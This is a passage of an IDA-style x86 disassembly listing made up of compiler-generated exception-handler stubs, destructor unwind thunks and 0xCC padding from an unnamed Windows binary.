		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
